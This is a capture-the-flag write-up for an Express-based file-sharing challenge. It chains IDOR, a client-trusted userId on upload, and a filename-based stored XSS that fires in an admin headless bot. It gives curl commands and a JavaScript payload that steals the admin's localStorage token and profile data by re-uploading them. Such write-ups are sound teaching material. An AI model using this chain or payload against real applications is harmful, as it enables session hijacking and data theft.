Hodor
Writeup for a french challenge focusing on IDOR, stored XSS, and broken access control in an Express file platform.
Overview
Target: http://worker01.ctfd.live:13804
The application is an Express-based platform with authentication (JWT), a file upload feature, user profiles, and an admin “headless bot” that visits reported content.
Findings
-
IDOR / Broken Access Control
GET /api/files/:idand the global listingGET /api/filesallow any authenticated user to access arbitrary files, includingflag.txt.
-
Insecure Direct Object Ownership (owner override)
POST /api/files/uploadtrusts a client-controlleduserIdfield. This allows creating files owned by another user (including admin).
-
Stored XSS (admin-bot trigger)
- File names are injected into the UI via
innerHTMLwithout escaping (referenced asfiles.js). A crafted filename leads to stored XSS. - The payload can be executed in the admin context via the reporting endpoint/bot (
/api/report).
- File names are injected into the UI via
-
Predictable ObjectId proximity (weak brute-force space)
- The admin
_idappears close to the file id near the flag (e.g.,6951c954…6889). This reduces the search space for a targeted guess.
- The admin
Step-by-step Exploitation
1 Register an account and obtain a JWT
curl -s -X POST "$URL/api/auth/register" \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Password123!"}'
This returns a token (and, in my run, an id similar to 6951cf7b8df71f4e604f68fa).
2 FLAG_1 — Direct file exposure
The first flag was accessible directly from the uploads path:
curl -s http://worker01.ctfd.live:13804/uploads/flag.txt
Result:
FLAG{*************}
3 FLAG_2 - Prepare stored XSS + owner impersonation
The goal is to get code execution in the admin session (via the headless bot) and exfiltrate the profile data/flag.
High-level idea:
- Guess the admin user id around
6951c9548df71f4e604f68XX(close to the flag file id). - Upload a file owned by the guessed admin by setting
userIdin/api/files/upload. - Use a malicious
filenamethat triggers XSS in the admin UI. - When the bot visits, the payload reads
/api/profileusing the admin token and re-uploads the stolen content into our account asloot_<tag>.txt.
Example payload:
(async()=>{
const t=localStorage.getItem('token');
if(!t) return;
const r=await fetch('/api/profile',{headers:{'X-Access-Token':t}});
const j=await r.json();
await fetch('/api/files/upload',{
method:'POST',
headers:{'X-Access-Token':t,'Content-Type':'application/json'},
body:JSON.stringify({
filename:'loot_<tag>.txt',
content:btoa(j.flag||''),
userId:'6951cf7b8df71f4e604f68fa'
})
});
})()
Injected via a filename such as:
pwn_<tag>");</button><img src=x onerror="<payload>">
4 Upload the XSS file (as admin) using your token
curl -s -X POST "$URL/api/files/upload" \
-H "X-Access-Token: $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"filename":"pwn_<tag>\");</button><img src=x onerror=\"<payload>\">","content":"dGVzdA==","userId":"<adminIdGuess>"}'
5 Trigger the admin bot
curl -s "$URL/api/report" -H "X-Access-Token: $TOKEN"
6 Retrieve the loot file from your own account
List your files:
curl -s "$URL/api/files/me" -H "X-Access-Token: $TOKEN"
Download the loot file by id (example id: 6951d2b38df71f4e604f694f):
curl -s "$URL/api/files/6951d2b38df71f4e604f694f" \
-H "X-Access-Token: $TOKEN"
Result:
FLAG{**************}
Admin impact was achieved by chaining IDOR + owner override + stored XSS to execute JavaScript in the admin session and re-upload the extracted data.